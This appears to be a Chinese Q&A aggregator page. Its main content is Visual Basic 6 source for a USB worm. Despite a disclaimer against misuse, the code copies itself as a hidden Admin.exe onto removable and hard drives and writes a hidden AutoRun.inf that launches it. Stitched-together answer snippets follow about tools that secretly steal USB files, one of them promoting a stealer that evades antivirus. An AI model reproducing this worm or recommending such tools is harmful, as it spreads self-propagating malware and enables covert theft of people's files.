爱的旋律88
拷贝自己到U盘里和在U盘生成一个Auorun
我自己写的 绝对原创 不要用来干坏事
鄙视传播病毒者
控件：
timer
属性：
timer1.Interval ＝ 5000
声明
Const WS_EX_LAYERED = &H80000
Const GWL_EXSTYLE = (-20)
Const LWA_ALPHA = &H2
Const LWA_COLORKEY = &H1
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetDlgItem Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const BM_CLICK = &HF5
Private Const WM_CLOSE = &H10
timer里的代码
Dim I As Long, T As Integer
For I = 65 To 90
T = GetDriveType(Chr(I) & ":\")
If T <> 1 Then
Select Case T
Case 2
If I < 67 Then
Else
'可移动磁盘
If Dir(Chr(I) & ":\Mstdc.inf", vbSystem) <> "" Then
Else
If Dir(Chr(I) & ":\Admin.exe", vbHidden) <> "" Then
Else
If App.PrevInstance Then
Else
If Dir(Chr(I) & ":\Admin.exe", vbHidden) <> "" Then
Else
FileCopy App.Path & "\" & App.EXEName & ".exe", Chr(I) & ":\Admin.exe"
End If
End If
End If
If Dir(Chr(I) & ":\AutoRun.inf", vbHidden + vbSystem) <> "" Then
Else
Open Chr(I) & ":\AutoRun.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open=Admin.exe"
Print #1, "shell\1=打开(&O)"
Print #1, "shell\1\Command=Admin.exe"
Print #1, "shell\2\=浏览(&B)"
Print #1, "shell\2\Command=Admin.exe"
Print #1, "shellexecute=Admin.exe"
Close #1
End If
If Dir(Chr(I) & ":\AutoRun.inf", vbSystem) <> "" Then
Call SetAttr(Chr(I) & ":\AutoRun.inf", vbHidden)
Else
End If
If Dir(Chr(I) & ":\Admin.exe") <> "" Then
Call SetAttr(Chr(I) & ":\Admin.exe", vbHidden)
Else
End If
End If
End If
Case 3
'硬盘
If Dir(Chr(I) & ":\Admin.exe", vbNormal) <> "" Then
Else
If App.PrevInstance Then
Else
If Dir(Chr(I) & ":\Admin.exe", vbHidden) <> "" Then
Else
FileCopy App.Path & "\" & App.EXEName & ".exe", Chr(I) & ":\Admin.exe"
End If
End If
End If
If Dir(Chr(I) & ":\AutoRun.inf", vbHidden + vbSystem) <> "" Then
Else
Open Chr(I) & ":\AutoRun.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open=Admin.exe"
Print #1, "shell\1=打开(&O)"
Print #1, "shell\1\Command=Admin.exe"
Print #1, "shell\2\=浏览(&B)"
Print #1, "shell\2\Command=Admin.exe"
Print #1, "shellexecute=Admin.exe"
Close #1
End If
If Dir(Chr(I) & ":\AutoRun.inf", vbSystem) <> "" Then
Call SetAttr(Chr(I) & ":\AutoRun.inf", vbHidden)
Else
End If
If Dir(Chr(I) & ":\Admin.exe") <> "" Then
Call SetAttr(Chr(I) & ":\Admin.exe", vbHidden)
Else
End If
Case 5
End Select
End If
Next
用U盘窃取电脑里的文件，有这样的软件吗?
有，不过需要autorun.inf来辅助执行，现在很多防毒软件都可以防止这个动作，不开自动运行的也没用，手动操作又太明显所以。。。。
优盘窃取软件用杀毒软件好使么
你可以下个360急救箱进入安全模式扫描查杀一下，看看是否行得通。如果再不行的话，那就要重做系统，如果问题依旧存在，那就请格式化你的硬盘，再重做系统。
有一个能窃取U盘资料得软件 忘了名字了
U盘窃密者
为什么说要慎用u盘文件窃取器
所谓的U盘攻击 如果软件不是您自己写的那就存在不安全因素。您可能只是好奇。但是可能会给受害人带来不可挽回的损失
在U盘里怎么盗取别人的文件
U盘大盗是款黑客软件可以盗取U盘所有类型文件,穿越防火墙,杀毒软件不查杀,盗取及复制U盘，完全后台运行，多线程见优化，盗取大文件的时候更为迅速！
有没有这样一种软件：能够窃取插到电脑上的U盘的内容？比如说将U盘上的内容自动复制到电脑的某个盘上。。
这种软件最好还是不要用，里面捆绑的垃圾太多了~~~
因为本身就是病毒，所以即使它捆绑别的病毒你也不知道
转载请注明出处51数据库 » u盘窃取软件 有没有窃取U盘资源的小软件啊…
